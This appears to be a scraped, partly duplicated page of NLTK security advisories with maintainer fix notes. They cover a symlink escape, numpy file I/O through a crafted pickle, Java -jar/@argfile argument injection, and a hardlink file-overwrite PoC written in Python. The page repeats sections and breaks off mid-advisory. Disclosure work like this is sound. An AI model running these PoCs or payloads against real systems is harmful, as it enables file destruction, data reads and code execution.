PR: #3761 "Contain CorpusReader / agreement / chat80 file I/O in the pathsec sandbox", merged 2026-08-17, merge commit cd4953f7b on develop. Fix commit: 9f7cf06b4 (the corpus-reader path pointers and view methods resolve and validate against the reader's root, so an intermediate directory symlink that leaves the root is refused).

Probe: none. The advisory PoC re-run (a corpus root R with R/sub pointing at a sibling directory inside the same data root, then abspaths()[0].open(), words() and open() on sub/secret.txt): on develop 2fa3f48fe all three are refused with ValueError (security violation, path escapes root); on v3.10.3 and on 6818767b9 abspaths().open() and words() return the secret while open() is refused, which matches the advisory. A bisect of develop between 6818767b9 and 2fa3f48fe with that reproduction names 9f7cf06b4 as the first fixed commit.

Release: none yet; no release tag contains 9f7cf06b4.

1 / 2
Source: GitHub
First published (updated )
Severity
6.1
AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N

Summary

nltk.picklesec.allowlistedpickleload keyed its denylist of dangerous globals by export name, so numpy's file-I/O callables that live in submodules and are not re-exported under module == "numpy" were never matched. Under the broad allowedmodules=("numpy", "scipy", "sklearn") allowance that TransitionParser.parse(depgraphs, modelFile) granted for model files, a crafted protocol 4 pickle could name numpy.lib.npyioimpl.recfromtxt (arbitrary file read, result returned to the caller of allowlistedpickleload) or numpy.lib.format.openmemmap (attacker-chosen file create), and the REDUCE opcode invoked them during the load.

Affected

nltk >= 3.10.0 and <= 3.10.3 (the allowlisting unpickler and the TransitionParser model path); numpy must be installed.

Reproduction

A pickle whose REDUCE names numpy.lib.npyioimpl.recfromtxt with a target path, loaded through allowlistedpickleload(data, allowedmodules=("numpy",)), reads that file on v3.10.3; one naming numpy.lib.format.openmemmap with mode w+ creates a file. Both are refused on develop with UnpicklingError: global '...' is from a denied module. The maintainer transcript below shows the before and after runs.

Impact

File read and file create on the host that loads an untrusted model through NLTK's allowlisting unpickler. No code execution: this sits below the TransitionParser code-execution sibling GHSA-m396-3h67-vpfv, which is why the severity was reassessed to Medium (see the reply below).

Editorial note (2026-10-10): the report body of this advisory had been overwritten with the text of GHSA-rv69-j573-cm47 (the nested gzip decompression bomb). The summary above was reconstructed by the maintainers from the title, the maintainer reply, the CVSS justification and PR #3757; the original reporter text is not recoverable from the record.

---

Fix status (2026-09-28)

Status: MERGED on develop (unreleased; v3.10.3 of 2026-08-12 predates the fix).

PR: #3778 "Bound decompression entry points in nltk (zip/gzip layers + pathsec.ZipFile + weka), CWE-409", merged 2026-08-25, merge commit 42d99b7a2 on develop. Fix commits: b6e0cedca (the nested gzip layer of a zip .gz member is bounded) and c6fe98211 (the decompression guards stream instead of buffering whole payloads).

Probe: none. The advisory PoC re-run on develop 2fa3f48fe (256 MiB of zeros gzipped into a STORED zip member declared at about 256 KiB, read through nltk.data.find().open().read()): refused with ValueError "Refusing to decompress suspected gzip bomb 'corpus/bomb.gz': it expands beyond nltk.data.MAXUNZIPRATIO=1000".

Release: none yet; no release tag contains b6e0cedca.

---

Maintainer reply (2026-09-28)

Status: fixed on develop, unreleased.

Fix verified

The numpy submodule file I/O sinks named in this report are denied on develop. This is fixed by PR #3757 ("Harden untrusted-model pickle allowlist (exact globals + numpy.lib denylist)"), merged into develop on 2026-08-20 as merge commit 628ebd2fa1b81d961edb6eff6b2eddd9d64588ba. The fix commit is a44a7af69bca87e92d9c4a701fcbbe4512e8d450 and the regression tests are in fb8da992b7b2ad082c69d2618ae2ac1c90c6b8b8.

What the fix does. In nltk/picklesec.py the denylist no longer keys numpy sinks by export name; it now denies whole module prefixes. DENIEDMODULEPREFIXES gained numpy.lib, numpy.rec, numpy.core.records, numpy.core.records, numpy.ma.mrecords and numpy.compat, so numpy.lib.npyio, numpy.lib.npyioimpl and numpy.lib.format resolve inside a denied prefix and are refused under both request forms (the submodule module string and any top level re-export). In nltk/parse/transitionparser.py the model load no longer grants a broad allowedmodules=("numpy","scipy","sklearn"); it now uses allowedmodules=() plus an exact MODELALLOWEDGLOBALS list, and the model read is routed through pathsec.open.

Before and after evidence

Reproduced the report's own primitives with a protocol 4 REDUCE payload for numpy.lib.npyioimpl.recfromtxt (arbitrary file read) and numpy.lib.format.openmemmap (arbitrary file create), loaded through allowlistedpickleload(allowedmodules=("numpy","scipy","sklearn")), and also driven through the real TransitionParser.parse product path. Judged by whether the sink actually touched a file, not by whether something raised. Interpreter: env -u PYTHONPATH /usr/local/bin/python3.13, CPython 3.13.7, numpy 2.4.4, scipy 1.18.1, sklearn 1.9.0.

Before the fix, on release tag v3.10.3 (303f6e2ba), nltk 3.10.3:

[READ ] recfromtxt sink reached = True returned [[1, 2, 3], [4, 5, 6]] (file was read) [WRITE] openmemmap sink reached = True attacker chosen path created on disk [CTRL ] canonical numpy.load = refused: UnpicklingError (already denylisted in 3.10.3) [PROD ] TransitionParser.parse sink reached = True model load passed the allowlist; AttributeError after load: recarray has no attribute predictproba (the read ran) VERDICT: SINK REACHED (vulnerable)

After the fix, on develop (2fa3f48fe):

[READ ] recfromtxt sink reached = False refused: UnpicklingError: global 'numpy.lib.npyioimpl.recfromtxt' is from a denied module [WRITE] openmemmap sink reached = False refused: UnpicklingError: global 'numpy.lib.format.openmemmap' is from a denied module; no file created [PROD ] TransitionParser.parse sink reached = False blocked at the allowlist: UnpicklingError VERDICT: SINK BLOCKED (fixed)

Tests

The regression suite added by the fix passes on develop. TestNumpySubmoduleFileIOSinks in nltk/test/unit/testpickleallowlistsecurity.py: 31 passed, 1 skipped. The combined suites testpickleallowlistsecurity.py, testpathsecsweeptransitionparser.py and testpathsecsweepdeserialization.py: 251 passed, 2 skipped.

Severity reassessment

Lowered from High (8.2) to Medium.

New vector: CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N (base 6.1, Medium).

Reasoning:

- The reachable primitives are file read (recfromtxt, recfromcsv) and constrained file create or truncate (openmemmap in w+ mode writes a numpy .npy header). The proof of concept does not achieve code execution, so integrity is Low (I:L, no arbitrary content control) and availability is None (A:N). Confidentiality is set High (C:H) as a worst case because a direct allowlistedpickleload caller receives the read object; note that through TransitionParser.parse the read content is consumed internally and is not returned to the attacker. - The sink fires only when a victim loads attacker controlled bytes through NLTK's allowlisting unpickler, which is itself a defensive layer, and numpy must be installed. Loading an untrusted model file is a local, operator initiated action, so Attack Vector is Local (AV:L) and User Interaction is Required (UI:R). No privileges are needed to craft the payload (PR:N) and no privilege boundary is crossed (S:U). - Calibration against siblings in this repository: GHSA-m396-3h67-vpfv scores the same TransitionParser model load path at 7.8 High (AV:L/UI:R, C:H/I:H/A:H) because it reaches remote code execution. A file read and file create only issue on the same path must sit below full code execution, not above it. The previous 8.2 exceeded that code execution sibling and came from AV:N/UI:N, which overstated the delivery of a file as network attack surface. The file I/O and DoS sibling GHSA-7pvm-89gg-6c6h sits at 6.2 Medium, consistent with this Medium rating.

Release status

No release tag contains commit a44a7af69 (checked with git tag, contains option), so the fix is on develop and is not in any release yet. The latest release v3.10.3 (2026-08-12) predates the fix commit (2026-08-17).

1 / 2
Source: GitHub
First published (updated )
Severity
9.8
Command Injection
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Summary

NLTK 3.10.3 contains security hardening intended to close JVM argument-injection and untrusted JAR/classpath execution paths in nltk.internals.java(), including the issue published as GHSA-m4rf-3fr8-xwx3.

The patched options channel correctly rejects Java argument-file references such as @/path/to/args and launcher modes such as -jar. However, an additional argument channel remains: the caller-provided cmd sequence is appended to the Java command after the validated option and classpath channels, without enforcing that its first item is a Java main-class name.

I am reporting this as an additional post-fix bypass / incomplete-fix path affecting the 3.10.3 remediation, rather than as an unrelated vulnerability family.

As a result, the same launcher token that is rejected through options can be supplied as the first cmd item. I confirmed two reachable forms against the official nltk-3.10.3-py3-none-any.whl:

1. direct use of the public nltk.internals.java() helper with cmd=["-jar", ...]; and 2. the higher-level StanfordSegmenter, whose public javaclass constructor argument becomes the first cmd item and accepts an @argfile launcher token.

Both paths execute an external researcher-controlled JAR without setting NLTKALLOWUNSAFEJARS, NLTKALLOWUNSAFECLASSPATH, or using trustedrawoptions. The original explicit outside-classpath route is blocked in 3.10.3, while the alternate command channel executes the JAR 3/3 times.

Affected artifact

text Package: nltk Confirmed affected version: 3.10.3 Wheel: nltk-3.10.3-py3-none-any.whl SHA-256: ff9598a8e20518ee0d557745890cc4435b9578489e2dcbc69c4f81fa060caf7c

Baseline artifact:

text Version: 3.10.2 Wheel: nltk-3.10.2-py3-none-any.whl SHA-256: 2c7ccacb765c5e26b0cb60fb1b57080af522c6924d12a714a243305ba3637412

Relationship to the 3.10.3 security fixes

The existing 3.10.3 hardening validates the dedicated per-call options list before it reaches subprocess.Popen. In particular, the exact @argfile token used in this report is rejected through options with a ValueError that references CVE-2026-12841 and CWE-88.

The command is subsequently assembled in this order:

python finalcmd.extend(validatedoptions) if classpatharg is not None: finalcmd.extend(["-cp", classpatharg]) finalcmd.extend(cmdlist)

cmdlist is copied from the public cmd argument but its first token is not checked to ensure that it is an ordinary Java main class. Java therefore interprets leading -jar, @argfile, module-mode, or classpath-mode tokens as launcher control arguments rather than application arguments.

This is an alternate argument channel around the same JVM argument/JAR execution boundary protected by the 3.10.3 changes.

Confirmed API paths

Direct public helper

python nltk.internals.java( ["-jar", "/outside/trusted/roots/controlled.jar"], classpath=None, stdout="pipe", stderr="pipe", )

The external JAR executed in all three subject runs.

Higher-level StanfordSegmenter path

StanfordSegmenter exposes a public javaclass constructor argument, stores it, and later places it at the beginning of the cmd sequence passed to nltk.internals.java().

A controlled argument file containing a -jar launcher invocation was supplied as:

python StanfordSegmenter( pathtojar=trustedsegmenterjar, javaclass="@/path/to/controlled-launcher.args", pathtomodel="dummy-model", javaoptions=[], )

The trusted segmenter JAR passed the wrapper's checksum and classpath checks. The @argfile then switched the Java launcher to the external JAR, which executed in all three runs.

The deprecated wrapper subsequently raised an unrelated post-launch AttributeError while processing its output. The external marker had already been written by the child JVM before that exception.

Proof matrix

text R1 NLTK 3.10.2 + explicit external classpath -> controlled Java bytecode executed

R2 NLTK 3.10.3 + same explicit external classpath -> UntrustedJarError; no marker

R3A NLTK 3.10.3 + direct cmd=["-jar", externaljar] -> controlled external JAR executed, 3/3

R3B NLTK 3.10.3 + StanfordSegmenter(javaclass="@argfile") -> controlled external JAR executed, 3/3

R4 NLTK 3.10.3 + ordinary main class in trusted classpath -> legitimate execution preserved

A direct channel comparison also confirmed:

text options=["@argfile"] -> BLOCKED cmd/javaclass="@argfile" -> EXTERNAL JAR EXECUTED

Machine-readable proof results and a portable reproducer are attached.

Preconditions

Practical exploitability depends on an embedding application exposing attacker influence over one of these public argument paths:

- the leading item of nltk.internals.java(cmd=...); or - StanfordSegmenter(javaclass=...) or an equivalent wrapper-controlled command token.

The attacker must also be able to reference an argument file or JAR readable by the NLTK process. The Java child process executes with the privileges of that process.

This is not a claim that importing NLTK alone is remotely exploitable. The confirmed issue is that the default protected execution boundary can be bypassed when these argument channels are exposed to untrusted input.

Impact

Successful exploitation allows execution of attacker-selected Java bytecode with the privileges of the process using NLTK.

Suggested classifications:

- CWE-88: Improper Neutralization of Argument Delimiters in a Command - CWE-94: Improper Control of Generation of Code

Suggested severity: Moderate, subject to maintainer assessment of realistic argument reachability in embedding applications.

Reproduction

The complete reproducer, machine-readable proof results, and proposed remediation are included in the attached evidence package.

nltk-3103-candidate-a-maintainer-evidence.zip

The included reproducer/reproducecmdchannelbypass.py creates only temporary researcher-controlled Java source, JAR, argument-file, and marker artifacts. It performs no network access.

Requirements:

- Python 3.10 or newer - nltk==3.10.3 - a JDK providing java, javac, and jar

Run:

bash python reproducer/reproducecmdchannelbypass.py

A confirmed run exits with status 0 and reports that:

- the options channel blocks @argfile; - the direct cmd channel executes the external JAR 3/3; - the higher-level StanfordSegmenter.javaclass channel executes it 3/3; and - legitimate trusted main-class execution remains functional.

Recommended remediation

Enforce that the first ordinary cmd item is a Java main-class token. Reject Java launcher switches and @argfile references in this channel by default, before constructing or executing the subprocess command.

For example:

python cmdlist = list(cmd) if not cmdlist: raise ValueError("cmd must contain a Java main class") first = cmdlist[0] if not isinstance(first, str) or not first or first.startswith(("-", "@")): raise ValueError("cmd must begin with a Java main class")

If raw Java launcher modes are intentionally supported, they should require a clearly named explicit trusted escape hatch rather than sharing the normal main-class channel.

The attachment includes a proposed source patch and focused regression tests. Local verification against code derived from the official 3.10.3 wheel showed:

text direct -jar command channel BLOCKED StanfordSegmenter @argfile path BLOCKED external marker creation BLOCKED legitimate trusted main class PRESERVED

Relationship to existing advisory / duplicate note

The public advisory GHSA-m4rf-3fr8-xwx3 describes the per-call options validation gap fixed in 3.10.3. This report is intentionally scoped as an additional bypass of that remediation through the distinct cmd/javaclass argument channel.

I did not locate a public advisory, issue, or pull request describing this leading-cmd launcher-token path. I cannot determine whether an equivalent private report already exists, so please deduplicate this report against any private reports or unpublished follow-up work.

Please keep this report and attachment private while assessing and preparing any fix. I am available to test a candidate patch and adapt the regression tests to the project's preferred style.

Fix status (2026-09-28)

Status: MERGED on develop (unreleased; v3.10.3 of 2026-08-12 predates the fix).

PR: #3771 "Reject Java launcher switches and @argfiles in the java() cmd argument (CWE-88)", merged 2026-08-20, merge commit 45a08fded on develop. Fix commit: b36212795 (java() raises ValueError when the first cmd token is a launcher switch or an @argfile, and when any cmd token is an @argfile; StanfordSegmenter passes its javaclass as that first token, nltk/tokenize/stanfordsegmenter.py line 432, so both reported paths hit the same check).

Probe: none. Reproduction on develop 2fa3f48fe with the process spawn intercepted: cmd=["-jar", jar], cmd=["@argfile"] and cmd=["Main", "@argfile"] each raise ValueError (CWE-88) before any spawn.

Release: none yet; no release tag contains b36212795.

1 / 2
Source: GitHub
First published (updated )
Severity
7.1
AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H

Summary

NLTK ships a security wrapper, nltk.pathsec.ZipFile, that is meant to confine archive extraction to trusted data roots and to block link-based escapes. When nltk.download() installs a package, the extraction write opens each member's target path without checking whether that path is a hardlink to a file located outside the data root. A local actor who can write inside a shared or predictable NLTK data root (for example ~/nltkdata, a group-writable /usr/share/nltkdata, or a shared container volume) can pre-plant an in-root hardlink at a member path that a soon-to-be-installed package will write. When the victim later runs the download, extraction truncates and overwrites the outside-root target through that hardlink. This is the same weakness class as the previously fixed downloader hardlink issue, but the fix did not reach the package-extraction write sink, so the latest published release remains exploitable through this path.

Root Cause

The prior fix added an stnlink > 1 refusal to the file-open helpers (nltk.pathsec.open / hardenedopen) and routed the downloader temporary-file write through that hardened opener, so a multiply-linked inode is refused on those paths. The extraction write sink was never given the same check. On published releases, nltk.pathsec.ZipFile.extract validates member names with validateziparchive and then delegates to the standard library extractor, whose plain open(targetpath, "wb") opens and truncates a pre-existing hardlink. The containment guard validateziparchive relies on Path.resolve() and name checks; resolve() follows symlinks (so a symlinked member is correctly refused) but a hardlink has a legitimate in-root name and in-root resolved path, so it passes. No code on the extraction path performs the stnlink fstat that the sibling open helper performs.

text Affected component: nltk.pathsec (archive extraction), driven by nltk.downloader Released sink (<= 3.10.3): nltk/pathsec.py ZipFile.extract -> stdlib zipfile.extractmember -> open(targetpath, "wb") Containment guard that fails open for hardlinks: nltk/pathsec.py validateziparchive (name checks + Path.resolve()) Development-branch sink: nltk/pathsec.py ZipFile.extractmember leaf reopen with OWRONLY|OTRUNC|ONOFOLLOW (no stnlink fstat)

Impact

An unprivileged local user who can create a file inside a data root that the victim's NLTK installation will extract into can cause the victim's process to truncate and overwrite a file outside that root. The attacker chooses which outside file is destroyed by selecting the hardlink target, so the integrity impact is complete for the chosen path (arbitrary outside-root file destruction). Where the victim resolves packages through an attacker-influenced mirror or index, the overwritten bytes are also attacker-chosen, which plausibly enables targeted file replacement and later code execution if the victim subsequently consumes the replaced file; that escalation is plausible rather than demonstrated here. Practical exploitation requires either that kernel hardlink protection (fs.protectedhardlinks) is disabled, or that the outside target is one the planting actor is permitted to hardlink (owned, writable, or group-shared), which is the same precondition carried by the previously accepted advisory for this weakness class.

Proof of Concept

Dependencies: a released nltk (3.10.3) installed from PyPI. The demonstration creates a data root, a victim file outside it, and a package archive whose member path is pre-planted as a hardlink to the victim file, then extracts through the security wrapper. It runs as a single user and succeeds even with fs.protectedhardlinks=1.

Steps: 1. Register a data root with nltk.data.path and create an extraction subtree inside it. 2. Create a victim file outside the data root. 3. Pre-plant an in-root hardlink at the member path the archive will write. 4. Extract the archive through nltk.pathsec.ZipFile.extract.

python import os, sys, tempfile, zipfile import nltk import nltk.pathsec as ps

work = tempfile.mkdtemp() dataroot = os.path.join(work, "nltkdata") extractroot = os.path.join(dataroot, "corpora") os.makedirs(os.path.join(extractroot, "pkgid")) nltk.data.path.insert(0, dataroot)

outside = os.path.join(work, "victim.txt") open(outside, "w").write("ORIGINAL-VICTIM-CONTENT")

zippath = os.path.join(dataroot, "pkg.zip") with zipfile.ZipFile(zippath, "w") as z: z.writestr("pkgid/target", "PWNED-BY-EXTRACTION")

memberabs = os.path.join(extractroot, "pkgid/target") os.link(outside, memberabs) # pre-planted in-root hardlink

with ps.ZipFile(zippath, "r") as z: z.extract("pkgid/target", path=extractroot)

print("victim now:", open(outside).read())

text victim now: PWNED-BY-EXTRACTION

The equivalent test using a symlink instead of a hardlink is refused by validateziparchive with a Security Violation, isolating the missing guard to hardlinks on the extraction write.

Attack Chain

1. Exposure: nltk.download() (and python -m nltk.downloader) is the shipped, default entry point; extraction of .zip packages into a data root is default behavior and is reachable by a local actor who can write inside a shared or predictable data root. 2. Control: the attacker controls the target inode by pre-planting an in-root hardlink at <downloaddir>/<subdir>/<pkgid>/<member>, and (under an attacker-influenced mirror) the written bytes; the member name stays <pkgid>/... so it satisfies every name guard. 3. Path: the install path does not wipe the destination before extraction (the tree is only removed on a STALE status, and that cleanup unlinks names rather than truncating the victim inode), so the planted hardlink survives to the write. The value flows through the downloader expectedroot check and validatemember (which uses realpath, so a hardlink stays in-root), then through validateziparchive (which uses resolve()), to the extraction write. 4. Guard: every guard on the path inspects names or resolved paths; none performs the stnlink > 1 fstat. resolve(), realpath(), and ONOFOLLOW all fail to detect a hardlink because a hardlink is an ordinary regular file with a legitimate in-root name. 5. Primitive: the member write opens the pre-existing hardlink and truncates plus overwrites the outside-root inode. 6. Result: the victim-owned file chosen by the planting actor is destroyed and replaced with the extracted member's bytes, crossing from the managed data root out to the general filesystem.

Bypass Evidence

The prior remediation for this weakness is the canonical reference here: it added stnlink > 1 refusals to nltk.pathsec.open / hardenedopen and routed the downloader temporary-file write through that opener. The new evidence is that the extraction write sink was never covered by that fix. On the released 3.10.3 wheel obtained from PyPI, the only stnlink occurrences are inside the open helper; ZipFile.extract validates names and then calls the standard library extractor with no stnlink check. Attempts to disprove the finding were made and failed:

- Hypothesis that the released 3.10.3 routes extraction through a hardened or stnlink path: refuted by inspecting the released wheel (ZipFile.extract delegates to the standard library, no override, no stnlink on the extraction path) and by dynamic reproduction (hardlink overwrote the outside file; symlink refused). - Hypothesis that validateziparchive or validatemember catch the hardlink: refuted because both use resolve() / realpath(), which cannot reveal a hardlink; the symlink-refused versus hardlink-overwritten asymmetry was reproduced. - Hypothesis that the download flow wipes the destination before extraction: refuted because the wipe runs only on a STALE status and uses name unlink, which does not truncate the victim inode. - Hypothesis that ONOFOLLOW / OEXCL on the development branch block it: refuted because ONOFOLLOW guards only against a symlink final component and OEXCL merely diverts to the truncate reopen branch; neither performs the stnlink fstat. - Hypothesis that kernel hardlink protection makes it a non-issue: retained as a severity bound, not a disqualifier, because the same precondition applies to the previously accepted advisory for this weakness class.

Affected Versions

- Ecosystem: pip - Package: nltk - Confirmed affected range: >= 3.9.4, <= 3.10.3 - Latest release checked: 3.10.3 (PyPI, nltk-3.10.3-py3-none-any.whl) - Fix status: not fixed (latest published release is affected; no fixed version exists)

The latest published release (3.10.3) carries the open-helper fix for the related downloader issue yet remains exploitable through the extraction sink, so the upper bound is the current release and no fixed version exists. Releases 3.9.4 through 3.10.2 have no stnlink guard at all and follow the hardlink through the same extraction path (confirmed by wheel inspection); the range floor 3.9.4 is the earliest release carrying this nltk.pathsec extraction path. The development branch adds a hardened extraction override that still omits the stnlink check, so the same vector persists there through a different sink symbol; a fixed release should not be inferred from that development-branch change.

Suggested Fix

Enforce the invariant that an extraction write must never land on a multiply-linked inode. Extend the existing stnlink > 1 refusal (as implemented in the hardened open helper) to the extraction write descriptor: after opening or creating the leaf target, fstat the descriptor and refuse an inode with stnlink > 1 before truncating or writing. Apply this on both the released delegation path and the development-branch extractmember override, or alternatively have validateziparchive / the downloader member validator fstat each existing target and refuse a multiply-linked inode. As an interim mitigation, operators should ensure fs.protectedhardlinks=1 is enabled and avoid shared, group-writable, or predictable data roots for accounts that run untrusted downloads.

Reported by zx (GitHub: @manus-pi).

Fix status (2026-09-28)

Status: IN PROGRESS (fix on an open pull request, not yet on develop).

PR: #3753 "[Do not merge yet] Fix GHSA-8mgp-746c-j5xp: URL-scheme bypass of pathsec.validatepath", open; head da55cab0e at the time of this note (a develop merge on top of 238f81500, the head on which the verdicts below were measured).

Fix commit: cf12a5e6a (pathsec.ZipFile.extractmember resolves member names to ZipInfo so the hardened extraction path actually runs, refuses a target with stnlink greater than 1, and replaces through unlink plus OEXCL; the downloader adds an lstat pre-check).

Probe: nltk/test/unit/securityprobes/ghsawr3gj6qjxpgh.py (on the PR). Verdict on the PR head: FIXED (hardlinked member target refused with PermissionError). The same probe run against develop 2fa3f48fe: VULNERABLE (extraction wrote through the hardlink to the outside secret).

Release: none.

1 / 2
Source: GitHub
First published (updated )
Severity
6.1
AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N

Summary

nltk.picklesec.allowlistedpickleload keyed its denylist of dangerous globals by export name, so numpy's file-I/O callables that live in submodules and are not re-exported under module == "numpy" were never matched. Under the broad allowedmodules=("numpy", "scipy", "sklearn") allowance that TransitionParser.parse(depgraphs, modelFile) granted for model files, a crafted protocol 4 pickle could name numpy.lib.npyioimpl.recfromtxt (arbitrary file read, result returned to the caller of allowlistedpickleload) or numpy.lib.format.openmemmap (attacker-chosen file create), and the REDUCE opcode invoked them during the load.

Affected

nltk >= 3.10.0 and <= 3.10.3 (the allowlisting unpickler and the TransitionParser model path); numpy must be installed.

Reproduction

A pickle whose REDUCE names numpy.lib.npyioimpl.recfromtxt with a target path, loaded through allowlistedpickleload(data, allowedmodules=("numpy",)), reads that file on v3.10.3; one naming numpy.lib.format.openmemmap with mode w+ creates a file. Both are refused on develop with UnpicklingError: global '...' is from a denied module. The maintainer transcript below shows the before and after runs.

Impact

File read and file create on the host that loads an untrusted model through NLTK's allowlisting unpickler. No code execution: this sits below the TransitionParser code-execution sibling GHSA-m396-3h67-vpfv, which is why the severity was reassessed to Medium (see the reply below).

Editorial note (2026-10-10): the report body of this advisory had been overwritten with the text of GHSA-rv69-j573-cm47 (the nested gzip decompression bomb). The summary above was reconstructed by the maintainers from the title, the maintainer reply, the CVSS justification and PR #3757; the original reporter text is not recoverable from the record.

---

Fix status (2026-09-28)

Status: MERGED on develop (unreleased; v3.10.3 of 2026-08-12 predates the fix).

PR: #3778 "Bound decompression entry points in nltk (zip/gzip layers + pathsec.ZipFile + weka), CWE-409", merged 2026-08-25, merge commit 42d99b7a2 on develop. Fix commits: b6e0cedca (the nested gzip layer of a zip .gz member is bounded) and c6fe98211 (the decompression guards stream instead of buffering whole payloads).

Probe: none. The advisory PoC re-run on develop 2fa3f48fe (256 MiB of zeros gzipped into a STORED zip member declared at about 256 KiB, read through nltk.data.find().open().read()): refused with ValueError "Refusing to decompress suspected gzip bomb 'corpus/bomb.gz': it expands beyond nltk.data.MAXUNZIPRATIO=1000".

Release: none yet; no release tag contains b6e0cedca.

---

Maintainer reply (2026-09-28)

Status: fixed on develop, unreleased.

Fix verified

The numpy submodule file I/O sinks named in this report are denied on develop. This is fixed by PR #3757 ("Harden untrusted-model pickle allowlist (exact globals + numpy.lib denylist)"), merged into develop on 2026-08-20 as merge commit 628ebd2fa1b81d961edb6eff6b2eddd9d64588ba. The fix commit is a44a7af69bca87e92d9c4a701fcbbe4512e8d450 and the regression tests are in fb8da992b7b2ad082c69d2618ae2ac1c90c6b8b8.

What the fix does. In nltk/picklesec.py the denylist no longer keys numpy sinks by export name; it now denies whole module prefixes. DENIEDMODULEPREFIXES gained numpy.lib, numpy.rec, numpy.core.records, numpy.core.records, numpy.ma.mrecords and numpy.compat, so numpy.lib.npyio, numpy.lib.npyioimpl and numpy.lib.format resolve inside a denied prefix and are refused under both request forms (the submodule module string and any top level re-export). In nltk/parse/transitionparser.py the model load no longer grants a broad allowedmodules=("numpy","scipy","sklearn"); it now uses allowedmodules=() plus an exact MODELALLOWEDGLOBALS list, and the model read is routed through pathsec.open.

Before and after evidence

Reproduced the report's own primitives with a protocol 4 REDUCE payload for numpy.lib.npyioimpl.recfromtxt (arbitrary file read) and numpy.lib.format.openmemmap (arbitrary file create), loaded through allowlistedpickleload(allowedmodules=("numpy","scipy","sklearn")), and also driven through the real TransitionParser.parse product path. Judged by whether the sink actually touched a file, not by whether something raised. Interpreter: env -u PYTHONPATH /usr/local/bin/python3.13, CPython 3.13.7, numpy 2.4.4, scipy 1.18.1, sklearn 1.9.0.

Before the fix, on release tag v3.10.3 (303f6e2ba), nltk 3.10.3:

[READ ] recfromtxt sink reached = True returned [[1, 2, 3], [4, 5, 6]] (file was read) [WRITE] openmemmap sink reached = True attacker chosen path created on disk [CTRL ] canonical numpy.load = refused: UnpicklingError (already denylisted in 3.10.3) [PROD ] TransitionParser.parse sink reached = True model load passed the allowlist; AttributeError after load: recarray has no attribute predictproba (the read ran) VERDICT: SINK REACHED (vulnerable)

After the fix, on develop (2fa3f48fe):

[READ ] recfromtxt sink reached = False refused: UnpicklingError: global 'numpy.lib.npyioimpl.recfromtxt' is from a denied module [WRITE] openmemmap sink reached = False refused: UnpicklingError: global 'numpy.lib.format.openmemmap' is from a denied module; no file created [PROD ] TransitionParser.parse sink reached = False blocked at the allowlist: UnpicklingError VERDICT: SINK BLOCKED (fixed)

Tests

The regression suite added by the fix passes on develop. TestNumpySubmoduleFileIOSinks in nltk/test/unit/testpickleallowlistsecurity.py: 31 passed, 1 skipped. The combined suites testpickleallowlistsecurity.py, testpathsecsweeptransitionparser.py and testpathsecsweepdeserialization.py: 251 passed, 2 skipped.

Severity reassessment

Lowered from High (8.2) to Medium.

New vector: CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N (base 6.1, Medium).

Reasoning:

- The reachable primitives are file read (recfromtxt, recfromcsv) and constrained file create or truncate (openmemmap in w+ mode writes a numpy .npy header). The proof of concept does not achieve code execution, so integrity is Low (I:L, no arbitrary content control) and availability is None (A:N). Confidentiality is set High (C:H) as a worst case because a direct allowlistedpickleload caller receives the read object; note that through TransitionParser.parse the read content is consumed internally and is not returned to the attacker. - The sink fires only when a victim loads attacker controlled bytes through NLTK's allowlisting unpickler, which is itself a defensive layer, and numpy must be installed. Loading an untrusted model file is a local, operator initiated action, so Attack Vector is Local (AV:L) and User Interaction is Required (UI:R). No privileges are needed to craft the payload (PR:N) and no privilege boundary is crossed (S:U). - Calibration against siblings in this repository: GHSA-m396-3h67-vpfv scores the same TransitionParser model load path at 7.8 High (AV:L/UI:R, C:H/I:H/A:H) because it reaches remote code execution. A file read and file create only issue on the same path must sit below full code execution, not above it. The previous 8.2 exceeded that code execution sibling and came from AV:N/UI:N, which overstated the delivery of a file as network attack surface. The file I/O and DoS sibling GHSA-7pvm-89gg-6c6h sits at 6.2 Medium, consistent with this Medium rating.

Release status

No release tag contains commit a44a7af69 (checked with git tag, contains option), so the fix is on develop and is not in any release yet. The latest release v3.10.3 (2026-08-12) predates the fix commit (2026-08-17).

1 / 2
Source: GitHub
First published (updated )
Severity
7.1
AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H

Summary

NLTK ships a security wrapper, nltk.pathsec.ZipFile, that is meant to confine archive extraction to trusted data roots and to block link-based escapes. When nltk.download() installs a package, the extraction write opens each member's target path without checking whether that path is a hardlink to a file located outside the data root. A local actor who can write inside a shared or predictable NLTK data root (for example ~/nltkdata, a group-writable /usr/share/nltkdata, or a shared container volume) can pre-plant an in-root hardlink at a member path that a soon-to-be-installed package will write. When the victim later runs the download, extraction truncates and overwrites the outside-root target through that hardlink. This is the same weakness class as the previously fixed downloader hardlink issue, but the fix did not reach the package-extraction write sink, so the latest published release remains exploitable through this path.

Root Cause

The prior fix added an stnlink > 1 refusal to the file-open helpers (nltk.pathsec.open / hardenedopen) and routed the downloader temporary-file write through that hardened opener, so a multiply-linked inode is refused on those paths. The extraction write sink was never given the same check. On published releases, nltk.pathsec.ZipFile.extract validates member names with validateziparchive and then delegates to the standard library extractor, whose plain open(targetpath, "wb") opens and truncates a pre-existing hardlink. The containment guard validateziparchive relies on Path.resolve() and name checks; resolve() follows symlinks (so a symlinked member is correctly refused) but a hardlink has a legitimate in-root name and in-root resolved path, so it passes. No code on the extraction path performs the stnlink fstat that the sibling open helper performs.

text Affected component: nltk.pathsec (archive extraction), driven by nltk.downloader Released sink (<= 3.10.3): nltk/pathsec.py ZipFile.extract -> stdlib zipfile.extractmember -> open(targetpath, "wb") Containment guard that fails open for hardlinks: nltk/pathsec.py validateziparchive (name checks + Path.resolve()) Development-branch sink: nltk/pathsec.py ZipFile.extractmember leaf reopen with OWRONLY|OTRUNC|ONOFOLLOW (no stnlink fstat)

Impact

